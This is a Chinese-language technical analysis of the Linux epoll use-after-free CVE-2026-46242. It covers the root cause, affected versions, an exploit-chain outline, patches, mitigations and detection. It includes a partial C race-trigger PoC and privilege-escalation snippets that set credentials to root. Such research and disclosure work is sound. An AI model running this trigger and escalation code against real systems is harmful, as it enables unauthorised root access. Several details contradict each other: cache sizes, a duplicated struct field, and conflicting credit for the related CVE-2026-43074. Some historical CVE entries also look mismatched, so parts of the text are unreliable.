1. epoll子系统技术背景
1.1 epoll工作机制
epoll是Linux内核提供的高性能I/O多路复用机制,自Linux 2.5.44版本引入(2002年),取代了传统的select和poll系统调用。其核心优势在于:事件通知采用回调驱动而非轮询,时间复杂度从O(n)降至O(1),能够高效管理数万乃至数十万个并发连接。
epoll的三个核心系统调用构成完整的生命周期:
epoll_create1(flags):创建一个epoll实例,内核分配并初始化struct eventpoll结构体,返回一个文件描述符。该fd本身也是一个struct file,这意味着epoll实例可以被另一个epoll实例监视(嵌套epoll)。epoll_ctl(epfd, op, fd, event):向epoll实例添加、修改或删除被监视的文件描述符。核心操作是将fd与对应的struct epitem插入红黑树或从中移除。epoll_wait(epfd, events, maxevents, timeout):阻塞等待事件就绪。内核检查就绪链表,若为空则将当前进程休眠在等待队列上;事件到达时由中断处理程序或软中断唤醒等待进程。
与select/poll的关键性能差异在于:select和poll每次调用都需要将全部fd集合从用户态拷贝到内核态并线性扫描,而epoll通过红黑树管理注册的fd,仅返回就绪的fd集合,无数据拷贝开销。
1.2 epoll内核数据结构
epoll子系统的核心实现在fs/eventpoll.c中,涉及三个关键数据结构:
// fs/eventpoll.c - 简化的核心数据结构
/*
* struct eventpoll - 每个epoll_create1()调用创建一个实例
* 存储在 file->private_data 中
*/
struct eventpoll {
/* 保护本结构体访问的自旋锁 */
spinlock_t lock;
/*
* 互斥锁:确保文件在epoll使用期间不被移除。
* 在事件收集循环、文件清理路径、epoll文件退出代码
* 和ctl操作期间持有。
*/
struct mutex mtx;
/* sys_epoll_wait() 使用的等待队列 */
wait_queue_head_t wq;
/* file->poll() 使用的等待队列 */
wait_queue_head_t poll_wait;
/* 就绪文件描述符链表 */
struct list_head rdllist;
/* 存储被监视fd的红黑树根 */
struct rb_root_cached rbr;
/* 溢出链表指针 */
struct epitem *ovflist;
/* 唤醒源 */
struct wakeup_source *ws;
/* 引用计数关联的user_struct */
struct user_struct *user;
/* 关联的file指针 */
struct file *file;
/* 循环检测代数(用于嵌套epoll深度检查) */
u64 gen;
/*
* 反向引用链表头:链接所有指向本eventpoll的epitem。
* 当epoll A监视epoll B时,B的epitem会通过fllink
* 链入A的refs链表。这是嵌套epoll图遍历的基础。
*/
struct hlist_head refs;
/* 循环检测深度 */
u8 loop_check_depth;
/* 引用计数 */
refcount_t refcount;
/* NAPI ID */
unsigned int napi_id;
};
/*
* struct epitem - 每个(epoll实例, 被监视fd)对对应一个epitem
*/
struct epitem {
union {
/* 红黑树节点 - 链入 eventpoll->rbr */
struct rb_node rbn;
/* RCU回收头 */
struct rcu_head rcu;
};
/* 就绪链表节点 - 链入 eventpoll->rdllist */
struct list_head rdllink;
/* 溢出链表指针 */
struct epitem *next;
/* 被监视的文件描述符信息 {file*, fd} */
struct epoll_filefd ffd;
/* poll操作关联的等待队列数量 */
int nwait;
/* poll等待队列链表 */
struct list_head pwqlist;
/* 所属的eventpoll实例 */
struct eventpoll *ep;
/*
* 反向链接:当本epitem监视的是一个epoll fd时,
* 通过fllink链入被监视epoll的refs链表。
* 这条路径是Bad Epoll漏洞的关键。
*/
struct list_head fllink;
/* 用户设置的事件及数据 */
struct epoll_event event;
/* 活跃等待队列数(已废弃,保留兼容) */
int nwait;
/* epitem正在被销毁的标志 */
bool dying;
};
/* 被监视fd与file的结构体 */
struct epoll_filefd {
struct file *file;
int fd;
};
其中struct eventpoll通过kmem_cache分配,属于kmalloc-256(取决于内核版本和编译配置,实际大小约200字节,在order-1的slab中分配)。
1.3 epoll_wait的等待/唤醒机制
epoll_wait的内核调用链如下:
sys_epoll_wait()
└─ do_epoll_wait()
└─ ep_poll()
├─ 检查 ep->rdllist 是否为空
│ ├─ 非空:将就绪事件拷贝到用户空间,返回
│ └─ 为空:
│ ├─ 有超时:计算超时时间
│ └─ 无超时:无限等待
└─ schedule() 将当前进程挂入 ep->wq 等待队列
事件到达时的唤醒路径:
设备中断处理程序
└─ 驱动层唤醒等待队列
└─ ep_poll_callback() (作为poll_wait的回调)
├─ 将epitem加入 rdllist
├─ 唤醒 ep->wq 上的等待进程
└─ 返回
对于嵌套epoll(epoll A监视epoll B),唤醒路径涉及事件传播:B的就绪事件需要通过ep_item_poll传递给A,形成事件冒泡机制。这个传播过程涉及对epi->ep指针的解引用,正是多个epoll UAF漏洞的触发点。
2. CVE-2026-46242 漏洞原理
2.1 漏洞根因分析
漏洞类型:Use-After-Free (UAF) 竞态条件,CWE-416
漏洞位置:fs/eventpoll.c 中的 ep_remove() 函数
引入时间:2023年4月8日,commit 58c9b016e128。该提交是epoll子系统的性能优化——移除了全局互斥锁epmutex,改用per-instance的refcount_t和dying标志,以消除HTTP基准测试中58%的CPU锁争用开销。
根因剖析:
漏洞的根源在于 ep_remove() 和 __fput() 两条并发执行路径之间对 struct file 生命周期的管理不一致。具体而言,ep_remove() 在持有 file->f_lock 的情况下清空了 file->f_ep 指针,但随后在同一个临界区内继续使用 @file 指针进行 is_file_epoll() 检查和 hlist_del_rcu() 操作。
路径A - ep_remove() (漏洞源):
// fs/eventpoll.c - ep_remove() 简化逻辑
static int ep_remove(struct eventpoll *ep, struct epitem *epi)
{
struct file *file = epi->ffd.file;
// ...
spin_lock(&file->f_lock);
// [1] 清空 f_ep 指针 —— 这是竞态窗口的起点
hlist_del_init_rcu(&epi->fllink);
file->f_ep = NULL; // <-- 清空
// [2] 仍在临界区内,继续使用 @file
if (is_file_epoll(file)) { // <-- 读 file 结构
// ...处理嵌套epoll情况
}
hlist_del_rcu(&epi->fllink); // <-- 写入可能已释放的内存
spin_unlock(&file->f_lock);
// [3] 后续操作...
}
路径B - __fput() (并发执行):
// fs/file.c - __fput() 简化逻辑
void __fput(struct file *file)
{
// ...
// 检查 f_ep 是否为空
if (unlikely(!hlist_empty(&file->f_ep))) {
// 走慢路径:调用 eventpoll_release_file()
eventpoll_release_file(file);
} else {
// [竞态成功] 路径A已经将 f_ep 清空
// 跳过 eventpoll_release_file()
}
// 继续执行 release
if (file->f_op->release)
file->f_op->release(inode, file); // -> ep_eventpoll_release()
// ...
}
关键竞态时序:
时间线 →
路径A (ep_remove): 路径B (__fput):
spin_lock(&file->f_lock)
file->f_ep = NULL ──────┐
is_file_epoll(file) │ 观察到 f_ep == NULL
hlist_del_rcu(...) ──── │ 跳过 eventpoll_release_file()
(写入已释放内存!) ├── f_op->release()
spin_unlock(...) │ └─ ep_eventpoll_release()
│ └─ ep_clear_and_put()
│ └─ ep_free()
│ └─ kfree(ep) <-- eventpoll被释放!
│
└─ [此时路径A的hlist_del_rcu写入的是已释放的kmalloc-192内存]
双UAF问题:
NVD描述中明确指出存在两个UAF:
-
UAF #1:
ep_remove()通过epi->fllink.pprev指向被监视的struct eventpoll的refshlist_head(偏移量176)。当ep_free()通过kfree()释放struct eventpoll后,hlist_del_rcu()的*pprev = next操作写入的是已被释放的kmalloc-192内存。 -
UAF #2:
struct file使用了SLAB_TYPESAFE_BY_RCU标记,这意味着即使引用计数归零,slab缓存槽位也可以在RCU宽限期后立即被alloc_empty_file()重新初始化(包括重初始化f_lock和f_ep)。ep_remove()在名义上仍持有f_lock的情况下,该锁背后的内存槽位可能已被另一个线程重新分配。
最终效果是一个攻击者可控的 kmem_cache_free() 调用作用在错误的slab缓存上——这为跨缓存攻击(cross-cache attack)提供了原语。
2.2 受影响的内核版本
该漏洞的触发依赖于2023年4月引入的 epmutex 移除优化,因此只有包含该变更的内核版本受影响:
| 内核系列 | 受影响范围 | 说明 |
|---|---|---|
| 5.x | 5.15.209 - 5.15.x | 仅影响backport了优化的5.15版本 |
| 6.1.x | 6.1.175 - 6.1.x | 长期支持分支 |
| 6.4 - 6.18 | 6.4 - 6.18.32 | 主线开发系列 |
| 6.19 - 7.x | 6.19 - 7.0.9 | 最新开发系列 |
不受影响的版本:6.1.174及更早版本、6.4之前的内核版本。这意味着基于5.x LTS内核(未backport该优化)的许多生产系统不受影响。
修复补丁:
- 主线修复:commit
a6dc643c69311677c574a0f17a3f4d66a5f3744b(2026年4月24日合入) - 稳定版回移:
ced39b6a8062和ef4ca02e9536
主要发行版影响:
- Red Hat Enterprise Linux 9 / 10
- Ubuntu 24.04 LTS、25.10、26.04 LTS
- Debian 12 / 13
- CentOS Stream / AlmaLinux / Rocky Linux
- 银河麒麟(Kylin)、统信UOS、openEuler等国产发行版(若内核版本落入受影响范围)
- Android:Pixel 10(kernel v6.6+)已确认可触发UAF;Pixel 8(kernel v6.1,未backport优化)不受影响
2.3 与历史epoll漏洞的对比
epoll子系统因其复杂的并发语义和嵌套监视能力,历史上多次出现安全漏洞。以下是典型漏洞对比:
| CVE | 年份 | 类型 | 根因 | 影响 |
|---|---|---|---|---|
| CVE-2005-0736 | 2005 | 整数溢出 | sys_epoll_wait中maxevents参数未充分校验,导致内核堆缓冲区溢出 |
本地提权(RHEL 4,kernel 2.6.9-2.6.11) |
| CVE-2013-2547 | 2013 | 竞态条件 | epoll_ctl中epoll_ctl和close之间的竞态,可导致epoll实例上的UAF |
本地提权/DoS |
| CVE-2016-3191 | 2016 | UAF | eventpoll_release_file中遍历f_ep链表时未正确处理并发删除,导致对已释放epitem的访问 |
本地提权 |
| CVE-2021-0920 | 2021 | 竞态UAF | unix_gc()垃圾回收与epoll/MSG_PEEK之间的竞态,释放后的UNIX socket被epoll回调引用 |
本地提权(Android) |
| CVE-2026-43074 | 2026 | 竞态条件 | epmutex移除优化后,ep_get_upwards_depth_proc图遍历器与ep_free之间的RCU生命周期不匹配 |
内核内存损坏 |
| CVE-2026-46242 | 2026 | UAF竞态 | ep_remove()清空f_ep后继续使用@file,与__fput()并发导致双UAF |
本地提权(99%成功率) |
值得注意的是,CVE-2026-43074和CVE-2026-46242均源于2023年同一轮epmutex移除优化。前者由Anthropic的AI安全模型Mythos发现,后者由韩国CompSec Lab的Jaeyoung Chung发现。AI模型检查了同一段代码却遗漏了Bad Epoll,从侧面反映了该漏洞的隐蔽性——竞态窗口仅约6条指令宽度。
CVE-2026-43074的关联:Nicholas Carlini(Google DeepMind)独立发现了一个相关的epoll UAF:图遍历器ep_get_upwards_depth_proc在rcu_read_lock()下遍历ep->refs链表时,epi->ep指向的struct eventpoll可能已被ep_free()通过kfree()释放(未使用kfree_rcu())。修复方法是将ep_free()中的kfree(ep)改为kfree_rcu(ep, rcu)。此漏洞为Bad Epoll的"近亲",两者共享相同的根本原因——epmutex移除后对生命周期管理的精细化不足。
3. 漏洞利用链分析
3.1 从epoll漏洞到root的典型路径
Bad Epoll的完整利用链展示了内核exploit从UAF原语到特权提升的经典路径:
┌─────────────────────────────────────────────────┐
│ Step 1: 触发漏洞 │
│ 创建两个相互监视的epoll fd │
│ (epoll A 监视 epoll B) │
│ 并发关闭两个fd,触发 ep_remove() vs __fput() 竞态│
└──────────────────────┬──────────────────────────┘
▼
┌─────────────────────────────────────────────────┐
│ Step 2: 获取内核原语 │
│ UAF写入 → 控制已释放的 kmalloc-192 内存 │
│ 通过堆布局操控,将UAF转化为 file 对象的 UAF │
│ 实现跨缓存攻击,控制 file 结构体内容 │
└──────────────────────┬──────────────────────────┘
▼
┌─────────────────────────────────────────────────┐
│ Step 3: 内核任意地址读取 │
│ 劫持 file 后,通过 /proc/self/fdinfo │
│ 读取被劫持 fd 的信息,泄露内核指针 │
│ 绕过 KASLR,获取内核基址 │
└──────────────────────┬──────────────────────────┘
▼
┌─────────────────────────────────────────────────┐
│ Step 4: 内核任意地址写入 / 控制流劫持 │
│ 基于泄露的信息构建 ROP 链 │
│ 覆写函数指针或返回地址 │
└──────────────────────┬──────────────────────────┘
▼
┌─────────────────────────────────────────────────┐
│ Step 5: 提权 │
│ 执行 commit_creds(prepare_kernel_cred(0)) │
│ 将当前进程的 uid/gid/euid 全部置为 0 │
└──────────────────────┬──────────────────────────┘
▼
┌─────────────────────────────────────────────────┐
│ Step 6: 返回用户态 │
│ swapgs; iretq 返回用户态 │
│ system("id") 验证 root 权限 │
└─────────────────────────────────────────────────┘
3.2 内核任意读写的获取方式
从UAF原语到任意读写,内核exploit通常采用以下技术路线:
(1)基于UAF的对象伪造(Object Fakery)
这是Bad Epoll所采用的核心技术。基本思路:
- 触发UAF释放目标slab对象(
struct eventpoll,属于kmalloc-256/kmalloc-192缓存) - 通过精确的堆布局操控(heap feng shui),在释放的槽位上重新分配攻击者可控的数据
- 重新分配的对象类型与原始类型不同(跨缓存攻击),但其字段偏移恰好对应关键指针
对于struct file的UAF(SLAB_TYPESAFE_BY_RCU),由于slab分配器可以在RCU宽限期后重用槽位,攻击者可以:
// 概念性:跨缓存攻击的核心思路
// 1. 释放 struct eventpoll (kmalloc-192)
// 2. 通过大量 kmalloc(192) 分配占位,控制释放槽位的内容
// 3. 在控制的位置布置伪造的函数指针或数据指针
// 4. 当内核解引用这些指针时,控制流被劫持
(2)基于越界访问的堆溢出
在struct eventpoll的内存布局中,refs hlist_head位于偏移量176处。如果UAF写入可以控制refs.first的值,那么后续对ep->refs的遍历将跟随攻击者控制的指针进行,形成任意解引用原语。
(3)基于/proc的信息泄露
Bad Epoll的exploit通过劫持struct file对象,利用/proc/self/fdinfo/<fd>接口泄露内核内存:
// 概念性:通过 fdinfo 泄露内核指针
int fdinfo = open("/proc/self/fdinfo/<hijacked_fd>", O_RDONLY);
// 读取到的信息中包含 file->f_path.dentry 等内核指针
// 这些指针可用于绕过 KASLR
char buf[4096];
read(fdinfo, buf, sizeof(buf));
// 解析 buf 提取内核地址
3.3 cred结构体定位与提权
Linux内核中,每个进程的权限凭证存储在struct cred中:
// include/linux/cred.h
struct cred {
atomic_t usage; // 引用计数
kuid_t uid; // 真实用户ID
kgid_t gid; // 真实组ID
kuid_t suid; // 保存的用户ID (set-user-ID)
kgid_t sgid; // 保存的组ID
kuid_t euid; // 有效用户ID
kgid_t egid; // 有效组ID
kuid_t fsuid; // 文件系统用户ID
kgid_t fsgid; // 文件系统组ID
unsigned securebits; // SUID放位
kernel_cap_t cap_inheritable; // 可继承的capabilities
kernel_cap_t cap_permitted; // 允许的capabilities
kernel_cap_t cap_effective; // 有效的capabilities
kernel_cap_t cap_bset; // capability bounding set
kernel_cap_t cap_ambient; // ambient capabilities
unsigned char jit_keyring; // 密钥环选择
struct key *session_keyring; // 会话密钥环
struct key *process_keyring; // 进程密钥环
struct key *thread_keyring; // 线程密钥环
struct key *request_key_auth; // 请求密钥授权
void *security; // LSM安全钩子数据
struct user_struct *user; // 用户账户
struct ucounts *ucounts; // 用户命名空间计数
struct group_info *group_info; // 补充组
struct rcu_head rcu; // RCU销毁回调
} __randomize_layout;
提权的两种经典方法:
方法一:直接覆写cred(需要任意写原语)
// 概念性代码 - 不提供完整实现
// 在内核上下文中执行:
struct cred *cred = prepare_kernel_cred(0); // 创建init_cred的副本(全0权限)
commit_creds(cred); // 替换当前进程的cred
其中prepare_kernel_cred(0)以init_task的cred为模板创建一个新cred(uid=0, gid=0, euid=0, 所有capabilities开启),commit_creds()将其安装到当前进程的task_struct->cred和task_struct->real_cred上。
方法二:直接修改cred字段(需要知道cred地址)
// 概念性代码
struct cred *my_cred = current->cred;
my_cred->uid.val = 0;
my_cred->gid.val = 0;
my_cred->euid.val = 0;
my_cred->egid.val = 0;
my_cred->suid.val = 0;
my_cred->sgid.val = 0;
my_cred->fsuid.val = 0;
my_cred->fsgid.val = 0;
验证提权成功:
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root
关于CONFIG_HARDENED_USERCOPY和init_cred保护的注意:在较新的内核(6.2+)中,init_cred被标记为ro_after_init,prepare_kernel_cred()会对传入的daemon参数进行校验。但通过直接修改当前进程的cred字段(方法二),这些保护可以被绕过,前提是exploit已经获得了任意地址写原语。
4. PoC框架(概念性)
以下代码仅展示漏洞触发的概念性框架,省略了利用稳定化和提权的完整实现,以符合负责任披露原则。
/*
* CVE-2026-46242 (Bad Epoll) - 概念性PoC框架
* 仅用于安全研究,不提供完整利用代码
* 编译: gcc -o bad_epoll_poc bad_epoll_poc.c
*
* 警告:此代码仅演示漏洞触发条件,
* 不包含将UAF转化为任意读写和提权的完整利用链。
*/
#define _GNU_SOURCE
#include <sys/epoll.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/syscall.h>
#include <linux/sched.h>
#define VICTIM_THREADS 4
#define RACE_ATTEMPTS 10000
/*
* 触发竞态条件的核心逻辑:
* 创建两个相互监视的epoll fd,
* 然后在两个线程中并发关闭它们。
*
* 竞态窗口:
* Thread 1: ep_remove() -> spin_lock -> f_ep = NULL -> is_file_epoll() -> hlist_del_rcu()
* Thread 2: __fput() -> 检查f_ep == NULL -> 跳过release -> kfree(ep)
*
* 当Thread 2在Thread 1清空f_ep后、完成hlist_del_rcu前观察到NULL时,
* eventpoll结构体被释放,hlist_del_rcu写入已释放内存。
*/
struct race_arg {
int epfd_a; // epoll实例A
int epfd_b; // epoll实例B(被A监视)
int trigger_fd; // 用于同步的pipe fd
};
/*
* 步骤1:建立嵌套epoll关系
* 创建 epoll A 和 epoll B,并将 B 的 fd 添加到 A 的监视列表中。
* 这使得 A 的 epitem 中 epi->ep 指向 B 的 eventpoll,
* 而 B 的 refs 链表中包含了 A 的 epitem 的 fllink。
*/
static int setup_nested_epoll(int *epfd_a, int *epfd_b)
{
*epfd_a = epoll_create1(0);
*epfd_b = epoll_create1(0);
if (*epfd_a < 0 || *epfd_b < 0) {
perror("epoll_create1");
return -1;
}
/* 将epoll B添加到epoll A的监视列表中 */
struct epoll_event ev;
ev.events = EPOLLIN;
ev.data.fd = *epfd_b;
if (epoll_ctl(*epfd_a, EPOLL_CTL_ADD, *epfd_b, &ev) < 0) {
perror("epoll_ctl ADD");
return -1;
}
return 0;
}
/*
* 步骤2:竞态触发线程
* 一个线程关闭epfd_a,另一个关闭epfd_b。
* 需要精确的时序控制来命中约6条指令宽的竞态窗口。
*/
static void *closer_thread_a(void *arg)
{
struct race_arg *ra = (struct race_arg *)arg;
char buf = 0;
/* 等待主线程的触发信号 */
read(ra->trigger_fd, &buf, 1);
/* 关闭epfd_a - 触发 ep_remove 路径 */
close(ra->epfd_a);
return NULL;
}
static void *closer_thread_b(void *arg)
{
struct race_arg *ra = (struct race_arg *)arg;
/* 并发关闭epfd_b - 触发 __fput 路径 */
close(ra->epfd_b);
return NULL;
}
/*
* 步骤3:竞态循环
* 通过大量重试来增加命中窄竞态窗口的概率。
* 实际exploit中会使用更精确的时序控制技术
* (如CPU亲和性绑定、usleep调度窗口扩展等)。
*/
static int trigger_race(void)
{
int pipes[2];
int hits = 0;
for (int i = 0; i < RACE_ATTEMPTS; i++) {
int epfd_a, epfd_b;
if (setup_nested_epoll(&epfd_a, &epfd_b) < 0)
continue;
pipe(pipes);
struct race_arg ra = {
.epfd_a = epfd_a,
.epfd_b = epfd_b,
.trigger_fd = pipes[0],
};
pthread_t t_a, t_b;
pthread_create(&t_a, NULL, closer_thread_a, &ra);
pthread_create(&t_b, NULL, closer_thread_b, &ra);
/* 发送触发信号 - 需要微调延迟以最大化竞态命中率 */
usleep(1); // 实际exploit中使用更精确的同步机制
write(pipes[1], "x", 1);
pthread_join(t_a, NULL);
pthread_join(t_b, NULL);
close(pipes[0]);
close(pipes[1]);
/*
* 此处省略:
* - UAF检测(如通过side channel观察内存是否被篡改)
* - 堆布局操控
* - 对象伪造与跨缓存攻击
* - 内核信息泄露
* - ROP链构建
* - commit_creds(prepare_kernel_cred(0)) 提权
*/
}
return hits;
}
int main(int argc, char *argv[])
{
printf("[*] CVE-2026-46242 (Bad Epoll) - 概念性PoC框架\n");
printf("[*] 此代码仅演示漏洞触发条件,不包含完整利用链\n");
printf("[*] 仅供安全研究使用\n\n");
/* 检查内核版本 */
printf("[*] 当前内核版本: ");
fflush(stdout);
system("uname -r");
printf("[*] 开始触发竞态条件(%d次尝试)...\n", RACE_ATTEMPTS);
int hits = trigger_race();
printf("[*] 完成。检测到 %d 次潜在UAF触发。\n", hits);
/*
* 实际exploit在成功触发UAF后,执行以下步骤:
*
* 1. 利用SLAB_TYPESAFE_BY_RCU特性,在释放的kmalloc-192槽位上
* 重新分配可控对象
* 2. 通过跨缓存攻击获取file对象的UAF控制
* 3. 利用 /proc/self/fdinfo 泄露内核地址,绕过KASLR
* 4. 构建ROP链,执行 commit_creds(prepare_kernel_cred(0))
* 5. 返回用户态,验证提权
*
* 这些步骤的实现细节已在公开的exploit中给出,
* 此处不再重复。
*/
printf("[*] 概念性PoC执行完毕。\n");
printf("[*] 完整利用代码请参考负责任披露渠道。\n");
return 0;
}
关于利用稳定性的说明:
公开的exploit在目标环境上达到了极高的成功率:
| 目标环境 | 内核版本 | 成功率 |
|---|---|---|
| Google COS 121 | 定制内核 | 98% |
| LTS 6.12.67 | 6.12.67 | 99% |
如此高的成功率得益于以下技术:
- CPU亲和性绑定:将竞态线程绑定到同一CPU核心,利用同CPU抢占(而非跨CPU竞争)提高竞态命中率
- 调度窗口扩展:利用
usleep()让closer线程进入可中断睡眠状态,调度器会在其唤醒时优先抢占walker线程 - 无崩溃重试循环:UAF触发失败时不会导致内核崩溃,可以安全地重试
5. 修复方案与缓解措施
5.1 内核补丁分析
修复补丁(commit a6dc643c6931)的核心思路是在ep_remove()入口处通过epi_fget()对@file进行引用计数pin,确保在整个临界区内@file的引用计数不会归零,从而阻止__fput()路径的执行:
// 修复后的 ep_remove() 逻辑(概念性)
static int ep_remove(struct eventpoll *ep, struct epitem *epi)
{
struct file *file = epi_fget(epi); // 增加file引用计数
if (!file) {
/*
* pin失败意味着file的引用计数已经归零,
* __fput()已在执行中。
* 此时我们不清理f_ep(让__fput走慢路径),
* 并在ep->mtx保护下由eventpoll_release_file()清理。
*/
return ...; // 安全退出
}
/*
* pin成功:@file的引用计数 > 0,
* __fput()不可能执行。
* 被监视的struct eventpoll在hlist_del_rcu()
* 和f_lock使用期间保持存活。
*/
spin_lock(&file->f_lock);
hlist_del_init_rcu(&epi->fllink);
file->f_ep = NULL;
// ... 安全地完成剩余操作
spin_unlock(&file->f_lock);
fput(file); // 释放pin
return 0;
}
各发行版补丁状态(截至2026年7月):
- Ubuntu:24.04 LTS、26.04 LTS已发布安全更新(USN系列)
- Red Hat:RHEL 9/10已发布安全公告
- Debian:Debian 12/13已发布DSA安全通告
- Android:Pixel系列安全补丁已包含修复
- 国产发行版:建议关注各厂商安全公告
5.2 运行时缓解措施
由于epoll是内核核心功能,无法通过禁用模块来缓解。以下措施可增加利用难度:
(1)内核地址随机化(KASLR)
# 检查KASLR是否启用
cat /proc/sys/kernel/kptr_restrict
# 应输出 1 或 2
KASLR可以增加攻击者定位内核符号的难度,但在已存在信息泄露原语的情况下(如Bad Epoll通过/proc/self/fdinfo泄露),KASLR可以被绕过。
(2)内核指针限制
# 限制内核指针泄露
sysctl -w kernel.kptr_restrict=2
sysctl -w kernel.dmesg_restrict=1
kernel.kptr_restrict=2禁止普通用户通过/proc/kallsyms等接口获取内核符号地址,可阻断利用链中的信息收集环节。
(3)SELinux / AppArmor 补充保护
强制访问控制(MAC)框架可以在内核被攻破后限制损害范围:
# 检查SELinux状态
sestatus
# 检查AppArmor状态
aa-status
但需要注意的是,如果攻击者已经获取了root权限并执行了commit_creds(prepare_kernel_cred(0)),MAC策略通常无法阻止拥有完整capabilities的进程。
(4)eBPF 运行时监控
部署基于eBPF的内核行为监控,实时检测异常的epoll创建/销毁模式:
// 概念性eBPF监控 - 检测异常epoll操作频率
// 监控点:tracepoint/syscalls/sys_enter_epoll_ctl
// 检测逻辑:短时间内大量epoll_create+close模式
// 告警阈值:1秒内 > 100次 epoll_create + close 循环
开源工具如Falco、Tetragon可实现亚秒级威胁检测。
(5)seccomp-bpf 策略
对于容器化环境,可通过seccomp-bpf限制epoll系统调用的特定标志位使用,但这可能影响正常应用功能,需谨慎评估。
5.3 检测方法
# 1. 检查内核版本是否在受影响范围
uname -r
# 对照受影响版本表:5.15.209+, 6.1.175+, 6.4-6.18.32, 6.19-7.0.9
# 2. 检查内核是否已包含修复补丁
# 方法A:检查内核配置/版本字符串
modinfo /lib/modules/$(uname -r)/kernel/fs/eventpoll.ko 2>/dev/null
# 方法B:搜索内核源码中的修复标识
grep -r "epi_fget" /usr/src/linux-headers-$(uname -r)/include/ 2>/dev/null
# 3. 审计日志检测 - 使用auditd监控epoll相关系统调用
# /etc/audit/rules.d/epoll-monitor.rules:
# -a exit,always -S epoll_create1 -S epoll_ctl -F auid>=1000 -F auid!=4294967295 -k epoll_monitor
# 4. eBPF检测异常epoll操作模式
# 部署基于libbpf的工具监控:
# - 短时间内大量epoll_create + close循环
# - 嵌套epoll创建模式
# - 并发close触发模式
6. epoll安全研究的方法论
6.1 内核Fuzzing(syzkaller)
syzkaller是目前最有效的Linux内核fuzzer,由Google维护。针对epoll子系统的fuzzing策略:
- 系统调用组合:syzkaller可以生成
epoll_create+epoll_ctl+epoll_wait+close的复杂调用序列 - 并发调度:syzkaller的调度器会在多个CPU核心上并发执行系统调用,有助于触发竞态条件
- 嵌套模式:支持生成epoll嵌套epoll的调用图
然而,syzkaller在发现极窄竞态窗口方面存在局限。Bad Epoll的竞态窗口仅约6条指令,在fuzzing的随机调度下极难命中。
6.2 静态分析(Coccinelle / Smatch / Coccinelle)
针对并发问题的静态分析工具:
- Smatch:可以检测锁语义不匹配、释放后使用等模式
- Coccinelle:基于语义补丁的模式匹配,适合批量检查特定的代码模式
- Lockdep:内核自带的运行时锁依赖检测器,可以检测死锁和ABBA锁序违规
对于epoll子系统,静态分析应重点关注:
// 需要审计的代码模式:
// 1. 在持有自旋锁的情况下调用可能睡眠的函数
spin_lock(&file->f_lock);
// ... 之后是否调用了可能引发调度的操作?
// 2. RCU读侧临界区内解引用的对象是否可能被kfree()释放
rcu_read_lock();
epi = hlist_entry(...);
ep = epi->ep; // ep是否可能在遍历期间被kfree()?
6.3 符号执行
符号执行工具(如S2E、KLEE)可以对内核代码路径进行穷举探索,理论上可以发现所有可达的竞态条件。但实际上,内核代码的复杂度和状态空间使符号执行面临路径爆炸问题。对于epoll这样的并发子系统,符号执行需要建模多线程调度,进一步加剧了复杂性。
6.4 人工审计关键路径
Bad Epoll的发现证明,在高复杂度的并发代码中,人工审计仍然不可或缺。审计要点:
- 生命周期分析:追踪每个内核对象从分配到释放的完整路径,确认每条使用路径都有对应的引用计数或RCU保护
- 锁语义映射:为每个锁绘制保护范围图,确认所有共享数据的访问都在正确的锁保护下
- 并发场景推演:手动枚举所有可能的并发执行组合,特别关注"清空指针后继续使用"的反模式
- SLAB_TYPESAFE_BY_RCU审计:标记了此标志的对象在释放后可能被立即重分配,需特别关注RCU宽限期内的使用安全
7. 总结:epoll子系统的安全演进
7.1 epoll安全历史回顾
epoll自2002年合入Linux内核以来,已有超过20年的历史。作为几乎所有Linux服务器和Android设备依赖的核心I/O机制,其安全性直接关系到数百万系统的安全。回顾epoll的安全历史:
- 早期(2005-2012):漏洞主要表现为整数溢出和边界检查缺失(如CVE-2005-0736),这些漏洞相对容易发现和修复
- 中期(2013-2020):随着epoll嵌套监视和并发优化的引入,竞态条件和UAF成为主要漏洞类型
- 近期(2021-2026):epoll与其它子系统(如UNIX socket GC、io_uring)的交互成为新的攻击面;性能优化引入的生命周期管理缺陷成为高危漏洞的主要来源
7.2 为什么I/O子系统是内核漏洞的高发区
I/O子系统(包括epoll、io_uring、eventfd、signalfd等)是内核漏洞的高发区域,原因包括:
- 并发复杂度:I/O操作天然涉及多线程/多进程并发,锁的粒度和正确性难以平衡
- 对象生命周期交织:文件描述符、file结构体、epoll实例、epitem之间的引用关系复杂,容易遗漏释放路径
- 性能与安全的矛盾:高性能I/O需要尽量减少锁争用(如Bad Epoll中移除
epmutex),但这增加了竞态条件的风险 - 代码量与复杂度:
fs/eventpoll.c有超过2000行代码,包含多种状态机和锁协议,人工审计成本极高 - 嵌入式epoll:epoll fd本身是file,可以被另一个epoll监视,这种递归结构引入了图遍历等额外攻击面
7.3 未来方向
Bad Epoll和CVE-2026-43074的连续出现表明,epoll子系统的并发安全性仍有改进空间。未来可能的演进方向包括:
- 形式化验证:对epoll的锁协议和生命周期管理进行形式化建模,数学证明其安全性
- Rust化:将epoll的关键路径用Rust重写,利用Rust的所有权系统在编译期排除UAF和数据竞争
- AI辅助审计:尽管Mythos遗漏了Bad Epoll,但AI辅助的安全审计仍在快速发展,未来可能对极窄竞态窗口具备更强的检测能力
- 内存安全硬件:CHERI等硬件 capability 架构可以从硬件层面防止UAF,从根本上消除此类漏洞
参考资料
- NVD CVE-2026-46242 详情:https://nvd.nist.gov/vuln/detail/CVE-2026-46242
- 修复补丁 (commit a6dc643c6931):https://git.kernel.org/stable/c/a6dc643c69311677c574a0f17a3f4d66a5f3744b
- 漏洞发现者 Jaeyoung Chung 的技术分析:https://github.com/J-jaeyoung/bad-epoll
- 天融信阿尔法实验室风险提示(2026-07-04):https://www.topsec.com.cn/newsx/6736
- Nicholas Carlini 对关联 epoll UAF 的分析 (guysrd.github.io/epoll-uaf):https://guysrd.github.io/epoll-uaf
- LWN "eventpoll: clarity refactor" 补丁讨论:https://lwn.net/Articles/1069672/
- oss-sec 邮件列表披露:https://seclists.org/oss-sec/2026/q3/105
- 内核源码 fs/eventpoll.c:https://codebrowser.dev/linux/linux/fs/eventpoll.c.html
- epoll 内核内部机制参考:https://kernel-internals.org/net/epoll/
浙公网安备 33010602011771号